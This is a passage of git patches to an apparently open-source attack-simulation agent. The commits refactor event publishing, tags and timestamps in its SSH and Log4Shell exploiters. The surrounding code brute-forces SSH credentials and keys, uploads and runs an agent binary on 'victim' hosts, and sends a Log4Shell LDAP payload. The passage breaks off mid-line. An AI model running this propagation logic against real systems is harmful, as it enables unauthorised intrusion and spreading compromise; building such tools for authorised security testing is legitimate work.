-1,10 +1,12 @@ import io import logging +from ipaddress import IPv4Address from pathlib import PurePath import paramiko from common import OperatingSystem +from common.agent_events import TCPScanEvent from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.credentials import get_plaintext from common.tags import ( @@ -13,6 +15,7 @@ from common.tags import ( T1110_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG, ) +from common.types import PortStatus from common.utils import Timer from common.utils.attack_utils import ScanStatus from common.utils.exceptions import FailedExploitationError @@ -25,6 +28,7 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.commands import build_monkey_commandline +from infection_monkey.utils.ids import get_agent_id from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) @@ -178,8 +182,8 @@ class SSHExploiter(HostExploiter): def _exploit_host(self) -> ExploiterResultData: port = self._get_ssh_port() - is_open, _ = check_tcp_port(self.host.ip_addr, port) - if not is_open: + + if not self._is_port_open(IPv4Address(self.host.ip_addr), port): self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" logger.info(self.exploit_result.error_message) return self.exploit_result @@ -282,6 +286,15 @@ class SSHExploiter(HostExploiter): except Exception as exc: raise FailedExploitationError(f"Error running monkey on victim {self.host}: ({exc})") + def _is_port_open(self, ip: IPv4Address, port: int) -> bool: + is_open, _ = check_tcp_port(ip, port) + status = PortStatus.OPEN if is_open else PortStatus.CLOSED + self.agent_event_queue.publish( + TCPScanEvent(source=get_agent_id(), target=ip, ports={port: status}) + ) + + return is_open + def _get_ssh_port(self) -> int: port = SSH_PORT From 79f72dda550c2b9cefc839f81e371217977d0506 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 17:26:59 +0000 Subject: [PATCH 060/144] Agent: Stop sending PropagationEvent before attempt --- monkey/infection_monkey/exploit/sshexec.py | 42 +++++++++++++--------- 1 file changed, 26 insertions(+), 16 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index b8f96eee8..00221edf2 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -2,6 +2,7 @@ import io import logging from ipaddress import IPv4Address from pathlib import PurePath +from typing import Optional import paramiko @@ -19,6 +20,7 @@ from common.types import PortStatus from common.utils import Timer from common.utils.attack_utils import ScanStatus from common.utils.exceptions import FailedExploitationError +from infection_monkey.exploit import RetrievalError from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.i_puppet import ExploiterResultData @@ -205,14 +207,19 @@ class SSHExploiter(HostExploiter): ssh.close() self.exploit_result.error_message = str(err) logger.error(self.exploit_result.error_message) - self._publish_propagation_event( target=self.host.ip_addr, propagation_success=False, error_message=self.exploit_result.error_message, tags=PROPAGATION_TAGS, ) - return self.exploit_result + except RuntimeError as err: + error_message = str(err) + self.exploit_result.error_message = error_message + logger.error(error_message) + finally: + ssh.close() + return self.exploit_result def _exploit(self, port) -> paramiko.SSHClient: try: @@ -226,23 +233,13 @@ class SSHExploiter(HostExploiter): return ssh def _propagate(self, ssh: paramiko.SSHClient): - if not self.host.os.get("type") and not self._get_victim_os(ssh): - raise FailedExploitationError( - f"Can't find suitable monkey executable for host {self.host}" - ) - - agent_binary_file_object = self.agent_binary_repository.get_agent_binary( - self.exploit_result.os - ) - - if not agent_binary_file_object: - raise FailedExploitationError( - f"Can't find suitable monkey executable for host {self.host}" - ) + agent_binary_file_object = self._get_agent_binary(ssh) + if agent_binary_file_object is None: + raise RuntimeError("Can't find suitable monkey executable for host {self.host}") if self._is_interrupted(): self._set_interrupted() - raise FailedExploitationError(f"Propagation was interrupted") + raise RuntimeError("Propagation was interrupted") monkey_path_on_victim = get_agent_dst_path(self.host) status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim) @@ -327,6 +324,19 @@ class SSHExploiter(HostExploiter): return False return True + def _get_agent_binary(self, ssh: paramiko.SSHClient) -> Optional[io.BytesIO]: + if not self.host.os.get("type") and not self._get_victim_os(ssh): + return None + + try: + agent_binary_file_object = self.agent_binary_repository.get_agent_binary( + self.exploit_result.os + ) + except RetrievalError: + return None + + return agent_binary_file_object + def _upload_agent_binary( self, ssh: paramiko.SSHClient, From e8f48085a4f64bc2cf748772eb11241eaac5ab1e Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 17:43:40 +0000 Subject: [PATCH 061/144] Agent: Use the tag properties --- monkey/infection_monkey/exploit/sshexec.py | 60 ++++++---------------- 1 file changed, 16 insertions(+), 44 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 00221edf2..b0a7b7b2b 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -2,7 +2,7 @@ import io import logging from ipaddress import IPv4Address from pathlib import PurePath -from typing import Optional +from typing import Optional, Tuple import paramiko @@ -43,13 +43,17 @@ SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT TRANSFER_UPDATE_RATE = 15 SSH_EXPLOITER_TAG = "ssh-exploiter" -EXPLOIT_TAGS = (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG) -PROPAGATION_TAGS = (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG) class SSHExploiter(HostExploiter): _EXPLOITED_SERVICE = "SSH" + def _exploiter_tags(self) -> Tuple[str, ...]: + return (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG) + + def _propagation_tags(self) -> Tuple[str, ...]: + return (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG) + def __init__(self): super(SSHExploiter, self).__init__() @@ -61,7 +65,7 @@ class SSHExploiter(HostExploiter): logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) timer.reset() - def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: + def exploit_with_ssh_keys(self, port: int) -> paramiko.SSHClient: user_ssh_key_pairs = generate_identity_secret_pairs( identities=self.options["credentials"]["exploit_user_list"], secrets=self.options["credentials"]["exploit_ssh_keys"], @@ -101,11 +105,7 @@ class SSHExploiter(HostExploiter): ) self.add_vuln_port(port) self.exploit_result.exploitation_success = True - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=True, - tags=EXPLOIT_TAGS, - ) + self._publish_exploitation_event(True) self.report_login_attempt(True, user, ssh_key=ssh_string) return ssh except paramiko.AuthenticationException as err: @@ -114,19 +114,14 @@ class SSHExploiter(HostExploiter): f"Failed logging into victim {self.host} with {ssh_string} private key: {err}" ) logger.info(error_message) - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=False, - error_message=error_message, - tags=EXPLOIT_TAGS, - ) + self._publish_exploitation_event(False, error_message=error_message) self.report_login_attempt(False, user, ssh_key=ssh_string) continue except Exception as err: logger.error(f"Unknown error while attempting to login with ssh key: {err}") raise FailedExploitationError - def exploit_with_login_creds(self, port) -> paramiko.SSHClient: + def exploit_with_login_creds(self, port: int) -> paramiko.SSHClient: user_password_pairs = generate_identity_secret_pairs( identities=self.options["credentials"]["exploit_user_list"], secrets=self.options["credentials"]["exploit_password_list"], @@ -158,23 +153,14 @@ class SSHExploiter(HostExploiter): logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) self.add_vuln_port(port) self.exploit_result.exploitation_success = True - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=True, - tags=EXPLOIT_TAGS, - ) + self._publish_exploitation_event(True) self.report_login_attempt(True, user, current_password) return ssh except paramiko.AuthenticationException as err: error_message = f"Failed logging into victim {self.host} with user: {user}: {err}" logger.debug(error_message) - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=False, - error_message=error_message, - tags=EXPLOIT_TAGS, - ) + self._publish_exploitation_event(False, error_message=error_message) self.report_login_attempt(False, user, current_password) ssh.close() continue @@ -195,7 +181,6 @@ class SSHExploiter(HostExploiter): except FailedExploitationError as err: self.exploit_result.error_message = str(err) logger.error(str(err)) - return self.exploit_result if self._is_interrupted(): self._set_interrupted() @@ -204,15 +189,9 @@ class SSHExploiter(HostExploiter): try: self._propagate(ssh) except FailedExploitationError as err: - ssh.close() self.exploit_result.error_message = str(err) logger.error(self.exploit_result.error_message) - self._publish_propagation_event( - target=self.host.ip_addr, - propagation_success=False, - error_message=self.exploit_result.error_message, - tags=PROPAGATION_TAGS, - ) + self._publish_propagation_event(False, error_message=self.exploit_result.error_message) except RuntimeError as err: error_message = str(err) self.exploit_result.error_message = error_message @@ -221,7 +200,7 @@ class SSHExploiter(HostExploiter): ssh.close() return self.exploit_result - def _exploit(self, port) -> paramiko.SSHClient: + def _exploit(self, port: int) -> paramiko.SSHClient: try: ssh = self.exploit_with_ssh_keys(port) except FailedExploitationError: @@ -270,14 +249,7 @@ class SSHExploiter(HostExploiter): ) self.exploit_result.propagation_success = True - - self._publish_propagation_event( - target=self.host.ip_addr, - propagation_success=True, - tags=PROPAGATION_TAGS, - ) - - ssh.close() + self._publish_propagation_event(True) self.add_executed_cmd(cmdline) except Exception as exc: From aba886624ecd458b4f2c805e540163ef4e73ede6 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 18:02:27 +0000 Subject: [PATCH 062/144] Agent: Send propagation events sooner --- monkey/infection_monkey/exploit/sshexec.py | 28 +++++++++------------- 1 file changed, 11 insertions(+), 17 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index b0a7b7b2b..c0b934bcd 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -180,7 +180,9 @@ class SSHExploiter(HostExploiter): ssh = self._exploit(port) except FailedExploitationError as err: self.exploit_result.error_message = str(err) - logger.error(str(err)) + logger.error(self.exploit_result.error_message) + + return self.exploit_result if self._is_interrupted(): self._set_interrupted() @@ -188,14 +190,9 @@ class SSHExploiter(HostExploiter): try: self._propagate(ssh) - except FailedExploitationError as err: + except (FailedExploitationError, RuntimeError) as err: self.exploit_result.error_message = str(err) logger.error(self.exploit_result.error_message) - self._publish_propagation_event(False, error_message=self.exploit_result.error_message) - except RuntimeError as err: - error_message = str(err) - self.exploit_result.error_message = error_message - logger.error(error_message) finally: ssh.close() return self.exploit_result @@ -253,7 +250,9 @@ class SSHExploiter(HostExploiter): self.add_executed_cmd(cmdline) except Exception as exc: - raise FailedExploitationError(f"Error running monkey on victim {self.host}: ({exc})") + error_message = f"Error running monkey on victim {self.host}: ({exc})" + self._publish_exploitation_event(False, error_message=error_message) + raise FailedExploitationError(error_message) def _is_port_open(self, ip: IPv4Address, port: int) -> bool: is_open, _ = check_tcp_port(ip, port) @@ -288,11 +287,7 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result.error_message) return False except Exception as exc: - self.exploit_result.error_message = ( - f"Error running uname os command on victim {self.host}: ({exc})" - ) - - logger.error(self.exploit_result.error_message) + logger.error(f"Error running uname os command on victim {self.host}: ({exc})") return False return True @@ -327,10 +322,9 @@ class SSHExploiter(HostExploiter): return ScanStatus.USED except Exception as exc: - self.exploit_result.error_message = ( - f"Error uploading file into victim {self.host}: ({exc})" - ) - logger.error(self.exploit_result.error_message) + error_message = f"Error uploading file into victim {self.host}: ({exc})" + self._publish_propagation_event(False, error_message=error_message) + self.exploit_result.error_message = error_message return ScanStatus.SCANNED def _set_executable_bit_on_agent_binary( From e11bd2c7f2aa5c9d31b9b1d2b006b671cdcbb846 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 20:09:32 +0000 Subject: [PATCH 063/144] Agent: Stamp start time prior to running exploit --- monkey/infection_monkey/exploit/sshexec.py | 21 ++++++++++++++------- 1 file changed, 14 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index c0b934bcd..563b85ac6 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -2,6 +2,7 @@ import io import logging from ipaddress import IPv4Address from pathlib import PurePath +from time import time from typing import Optional, Tuple import paramiko @@ -89,6 +90,8 @@ class SSHExploiter(HostExploiter): pkey = paramiko.RSAKey.from_private_key(pkey) except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException): logger.error("Failed reading ssh key") + + stamp = time() try: ssh.connect( self.host.ip_addr, @@ -105,7 +108,7 @@ class SSHExploiter(HostExploiter): ) self.add_vuln_port(port) self.exploit_result.exploitation_success = True - self._publish_exploitation_event(True) + self._publish_exploitation_event(stamp, True) self.report_login_attempt(True, user, ssh_key=ssh_string) return ssh except paramiko.AuthenticationException as err: @@ -114,7 +117,7 @@ class SSHExploiter(HostExploiter): f"Failed logging into victim {self.host} with {ssh_string} private key: {err}" ) logger.info(error_message) - self._publish_exploitation_event(False, error_message=error_message) + self._publish_exploitation_event(stamp, False, error_message=error_message) self.report_login_attempt(False, user, ssh_key=ssh_string) continue except Exception as err: @@ -138,6 +141,8 @@ class SSHExploiter(HostExploiter): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) + + stamp = time() try: ssh.connect( self.host.ip_addr, @@ -153,14 +158,14 @@ class SSHExploiter(HostExploiter): logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) self.add_vuln_port(port) self.exploit_result.exploitation_success = True - self._publish_exploitation_event(True) + self._publish_exploitation_event(stamp, True) self.report_login_attempt(True, user, current_password) return ssh except paramiko.AuthenticationException as err: error_message = f"Failed logging into victim {self.host} with user: {user}: {err}" logger.debug(error_message) - self._publish_exploitation_event(False, error_message=error_message) + self._publish_exploitation_event(stamp, False, error_message=error_message) self.report_login_attempt(False, user, current_password) ssh.close() continue @@ -232,6 +237,7 @@ class SSHExploiter(HostExploiter): if status == ScanStatus.SCANNED: raise FailedExploitationError(self.exploit_result.error_message) + stamp = time() try: cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}" cmdline += build_monkey_commandline(self.servers, self.current_depth + 1) @@ -246,12 +252,12 @@ class SSHExploiter(HostExploiter): ) self.exploit_result.propagation_success = True - self._publish_propagation_event(True) + self._publish_propagation_event(stamp, True) self.add_executed_cmd(cmdline) except Exception as exc: error_message = f"Error running monkey on victim {self.host}: ({exc})" - self._publish_exploitation_event(False, error_message=error_message) + self._publish_propagation_event(stamp, False, error_message=error_message) raise FailedExploitationError(error_message) def _is_port_open(self, ip: IPv4Address, port: int) -> bool: @@ -311,6 +317,7 @@ class SSHExploiter(HostExploiter): monkey_path_on_victim: PurePath, ) -> ScanStatus: try: + stamp = time() with ssh.open_sftp() as ftp: ftp.putfo( agent_binary_file_object, @@ -323,7 +330,7 @@ class SSHExploiter(HostExploiter): return ScanStatus.USED except Exception as exc: error_message = f"Error uploading file into victim {self.host}: ({exc})" - self._publish_propagation_event(False, error_message=error_message) + self._publish_propagation_event(stamp, False, error_message=error_message) self.exploit_result.error_message = error_message return ScanStatus.SCANNED From f0112410c98a85262220e500fa8107db4e8441fb Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 6 Oct 2022 11:59:31 +0200 Subject: [PATCH 064/144] Agent: Rename stamp to timestamp in SSHExploiter --- monkey/infection_monkey/exploit/sshexec.py | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 563b85ac6..59848b06a 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -91,7 +91,7 @@ class SSHExploiter(HostExploiter): except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException): logger.error("Failed reading ssh key") - stamp = time() + timestamp = time() try: ssh.connect( self.host.ip_addr, @@ -108,7 +108,7 @@ class SSHExploiter(HostExploiter): ) self.add_vuln_port(port) self.exploit_result.exploitation_success = True - self._publish_exploitation_event(stamp, True) + self._publish_exploitation_event(timestamp, True) self.report_login_attempt(True, user, ssh_key=ssh_string) return ssh except paramiko.AuthenticationException as err: @@ -117,7 +117,7 @@ class SSHExploiter(HostExploiter): f"Failed logging into victim {self.host} with {ssh_string} private key: {err}" ) logger.info(error_message) - self._publish_exploitation_event(stamp, False, error_message=error_message) + self._publish_exploitation_event(timestamp, False, error_message=error_message) self.report_login_attempt(False, user, ssh_key=ssh_string) continue except Exception as err: @@ -142,7 +142,7 @@ class SSHExploiter(HostExploiter): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) - stamp = time() + timestamp = time() try: ssh.connect( self.host.ip_addr, @@ -158,14 +158,14 @@ class SSHExploiter(HostExploiter): logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) self.add_vuln_port(port) self.exploit_result.exploitation_success = True - self._publish_exploitation_event(stamp, True) + self._publish_exploitation_event(timestamp, True) self.report_login_attempt(True, user, current_password) return ssh except paramiko.AuthenticationException as err: error_message = f"Failed logging into victim {self.host} with user: {user}: {err}" logger.debug(error_message) - self._publish_exploitation_event(stamp, False, error_message=error_message) + self._publish_exploitation_event(timestamp, False, error_message=error_message) self.report_login_attempt(False, user, current_password) ssh.close() continue @@ -237,7 +237,7 @@ class SSHExploiter(HostExploiter): if status == ScanStatus.SCANNED: raise FailedExploitationError(self.exploit_result.error_message) - stamp = time() + timestamp = time() try: cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}" cmdline += build_monkey_commandline(self.servers, self.current_depth + 1) @@ -252,12 +252,12 @@ class SSHExploiter(HostExploiter): ) self.exploit_result.propagation_success = True - self._publish_propagation_event(stamp, True) + self._publish_propagation_event(timestamp, True) self.add_executed_cmd(cmdline) except Exception as exc: error_message = f"Error running monkey on victim {self.host}: ({exc})" - self._publish_propagation_event(stamp, False, error_message=error_message) + self._publish_propagation_event(timestamp, False, error_message=error_message) raise FailedExploitationError(error_message) def _is_port_open(self, ip: IPv4Address, port: int) -> bool: @@ -317,7 +317,7 @@ class SSHExploiter(HostExploiter): monkey_path_on_victim: PurePath, ) -> ScanStatus: try: - stamp = time() + timestamp = time() with ssh.open_sftp() as ftp: ftp.putfo( agent_binary_file_object, @@ -330,7 +330,7 @@ class SSHExploiter(HostExploiter): return ScanStatus.USED except Exception as exc: error_message = f"Error uploading file into victim {self.host}: ({exc})" - self._publish_propagation_event(stamp, False, error_message=error_message) + self._publish_propagation_event(timestamp, False, error_message=error_message) self.exploit_result.error_message = error_message return ScanStatus.SCANNED From dcb08b2881fc4e4a7e372918f3198747dd2beafe Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 6 Oct 2022 12:46:11 +0200 Subject: [PATCH 065/144] Agent: Convert IPv4Address to str when connecting to socket --- monkey/infection_monkey/network/tools.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 2a309956c..045b7ada1 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -3,6 +3,8 @@ import select import socket import struct import sys +from ipaddress import IPv4Address +from typing import Optional from common.common_consts.timeouts import CONNECTION_TIMEOUT from infection_monkey.network.info import get_routes @@ -13,7 +15,7 @@ BANNER_READ = 1024 logger = logging.getLogger(__name__) -def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False): +def check_tcp_port(ip: IPv4Address, port: int, timeout=DEFAULT_TIMEOUT, get_banner=False): """ Checks if a given TCP port is open :param ip: Target IP @@ -26,7 +28,7 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False): sock.settimeout(timeout) try: - sock.connect((ip, port)) + sock.connect((str(ip), port)) except socket.timeout: return False, None except socket.error as exc: @@ -51,7 +53,7 @@ def tcp_port_to_service(port): return "tcp-" + str(port) -def get_interface_to_target(dst: str) -> str: +def get_interface_to_target(dst: str) -> Optional[str]: """ :param dst: destination IP address string without port. E.G. '192.168.1.1.' :return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.' From 95f1e3cb7bca143b3b744174d9754e1e312b6251 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 6 Oct 2022 12:48:15 +0200 Subject: [PATCH 066/144] Agent: Modify tags methods to be properties in SSHExploiter --- monkey/infection_monkey/exploit/sshexec.py | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 59848b06a..9d88c0472 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -3,7 +3,7 @@ import logging from ipaddress import IPv4Address from pathlib import PurePath from time import time -from typing import Optional, Tuple +from typing import Optional import paramiko @@ -49,11 +49,8 @@ SSH_EXPLOITER_TAG = "ssh-exploiter" class SSHExploiter(HostExploiter): _EXPLOITED_SERVICE = "SSH" - def _exploiter_tags(self) -> Tuple[str, ...]: - return (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG) - - def _propagation_tags(self) -> Tuple[str, ...]: - return (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG) + _EXPLOITER_TAGS = (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG) + _PROPAGATION_TAGS = (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG) def __init__(self): super(SSHExploiter, self).__init__() From c90044074d78d81642682741cd9d7defdaacb274 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Oct 2022 14:21:13 +0300 Subject: [PATCH 067/144] Island: Remove storage error when node wasn't modified Upserting should throw an error when updating or inserting went wrong, not when a node is already up to date. --- .../cc/repository/mongo_node_repository.py | 6 ------ .../cc/repository/test_mongo_node_repository.py | 15 --------------- 2 files changed, 21 deletions(-) diff --git a/monkey/monkey_island/cc/repository/mongo_node_repository.py b/monkey/monkey_island/cc/repository/mongo_node_repository.py index 8543d5e21..248b0f973 100644 --- a/monkey/monkey_island/cc/repository/mongo_node_repository.py +++ b/monkey/monkey_island/cc/repository/mongo_node_repository.py @@ -55,12 +55,6 @@ class MongoNodeRepository(INodeRepository): except Exception as err: raise StorageError(f"{UPSERT_ERROR_MESSAGE}: {err}") - if result.matched_count != 0 and result.modified_count != 1: - raise StorageError( - f'Error updating node with source ID "{node.machine_id}": Expected to update 1 ' - f"node, but {result.modified_count} were updated" - ) - if result.matched_count == 0 and result.upserted_id is None: raise StorageError( f'Error inserting node with source ID "{node.machine_id}": Expected to insert 1 ' diff --git a/monkey/tests/unit_tests/monkey_island/cc/repository/test_mongo_node_repository.py b/monkey/tests/unit_tests/monkey_island/cc/repository/test_mongo_node_repository.py index 9d1ee6279..338526d76 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/repository/test_mongo_node_repository.py +++ b/monkey/tests/unit_tests/monkey_island/cc/repository/test_mongo_node_repository.py @@ -163,21 +163,6 @@ def test_upsert_communication__replace_one_fails( error_raising_node_repository.upsert_communication(1, 2, CommunicationType.SCANNED) -def test_upsert_communication__replace_one_matched_without_modify( - error_raising_mock_mongo_client, error_raising_node_repository -): - mock_result = MagicMock() - mock_result.matched_count = 1 - mock_result.modified_count = 0 - error_raising_mock_mongo_client.monkey_island.nodes.find_one = MagicMock(return_value=None) - error_raising_mock_mongo_client.monkey_island.nodes.replace_one = MagicMock( - return_value=mock_result - ) - - with pytest.raises(StorageError): - error_raising_node_repository.upsert_communication(1, 2, CommunicationType.SCANNED) - - def test_upsert_communication__replace_one_insert_fails( error_raising_mock_mongo_client, error_raising_node_repository ): From c5506f98e84089f62b0f0cc2aaea429c6869debb Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Oct 2022 13:25:23 +0200 Subject: [PATCH 068/144] Agent: Publish Propagation and Exploitation events from Log4Shell --- monkey/infection_monkey/exploit/log4shell.py | 30 ++++++++++++++++---- 1 file changed, 25 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 399a2706e..e77bbce62 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -39,6 +39,10 @@ class Log4ShellExploiter(WebRCE): if not self._open_ports: logger.info("Could not find any open web ports to exploit") + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=False, + ) return self.exploit_result self._configure_servers() @@ -115,7 +119,9 @@ class Log4ShellExploiter(WebRCE): def _build_command(self, path: PurePath, http_path) -> str: # Build command to execute - monkey_cmd = build_monkey_commandline(self.servers, self.current_depth + 1, location=path) + monkey_cmd = build_monkey_commandline( + self.servers, self.current_depth + 1, location=str(path) + ) if self.host.is_windows(): base_command = LOG4SHELL_WINDOWS_COMMAND else: @@ -147,10 +153,16 @@ class Log4ShellExploiter(WebRCE): ) try: url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) - except Exception as ex: - logger.warning( - "An error occurred while attempting to exploit log4shell on a " - f"potential {exploit.service_name} service: {ex}" + except Exception as err: + error_message = "An error occurred while attempting to exploit log4shell on a " + f"potential {exploit.service_name} service: {err}" + + logger.warning(error_message) + + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=False, + error_message=error_message, ) if self._wait_for_victim(): @@ -173,6 +185,10 @@ class Log4ShellExploiter(WebRCE): while not timer.is_expired(): if self._exploit_class_http_server.exploit_class_downloaded(): + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=True, + ) self.exploit_result.exploitation_success = True return True @@ -187,6 +203,10 @@ class Log4ShellExploiter(WebRCE): while not timer.is_expired(): if self._agent_http_server_thread.downloads > 0: + self._publish_propagation_event( + target=self.host.ip_addr, + propagation_success=True, + ) self.exploit_result.propagation_success = True break From ef4a465515e062f9383ea0373c2b236e79da99f4 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Oct 2022 16:24:03 +0200 Subject: [PATCH 069/144] Agent: Add tags to exploitation and propagation events in Log4Shell --- monkey/infection_monkey/exploit/log4shell.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index e77bbce62..cd273810c 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -4,6 +4,7 @@ from pathlib import PurePath from common import OperatingSystem from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT +from common.tags import T1203_ATTACK_TECHINQUE_TAG from common.utils import Timer from infection_monkey.exploit.log4shell_utils import ( LINUX_EXPLOIT_TEMPLATE_PATH, @@ -26,6 +27,8 @@ from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) +LOG4SHELL_EXPLOITER_TAG = "log4shel-exploiter" + class Log4ShellExploiter(WebRCE): _EXPLOITED_SERVICE = "Log4j" @@ -163,6 +166,7 @@ class Log4ShellExploiter(WebRCE): target=self.host.ip_addr, exploitation_success=False, error_message=error_message, + tags=(LOG4SHELL_EXPLOITER_TAG,), ) if self._wait_for_victim(): @@ -188,6 +192,7 @@ class Log4ShellExploiter(WebRCE): self._publish_exploitation_event( target=self.host.ip_addr, exploitation_success=True, + tags=(LOG4SHELL_EXPLOITER_TAG, T1203_ATTACK_TECHINQUE_TAG), ) self.exploit_result.exploitation_success = True return True @@ -206,6 +211,7 @@ class Log4ShellExploiter(WebRCE): self._publish_propagation_event( target=self.host.ip_addr, propagation_success=True, + tags=(LOG4SHELL_EXPLOITER_TAG, T1203_ATTACK_TECHINQUE_TAG), ) self.exploit_result.propagation_success = True break From c5d5418af47ff9ca309b46d28c8f12635490d81a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Oct 2022 16:38:26 +0200 Subject: [PATCH 070/144] Agent: Fix typo in t1203 attack technique in Log4Shell --- monkey/infection_monkey/exploit/log4shell.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index cd273810c..d47553d0d 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -4,7 +4,7 @@ from pathlib import PurePath from common import OperatingSystem from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT -from common.tags import T1203_ATTACK_TECHINQUE_TAG +from common.tags import T1203_ATTACK_TECHNIQUE_TAG from common.utils import Timer from infection_monkey.exploit.log4shell_utils import ( LINUX_EXPLOIT_TEMPLATE_PATH, @@ -192,7 +192,7 @@ class Log4ShellExploiter(WebRCE): self._publish_exploitation_event( target=self.host.ip_addr, exploitation_success=True, - tags=(LOG4SHELL_EXPLOITER_TAG, T1203_ATTACK_TECHINQUE_TAG), + 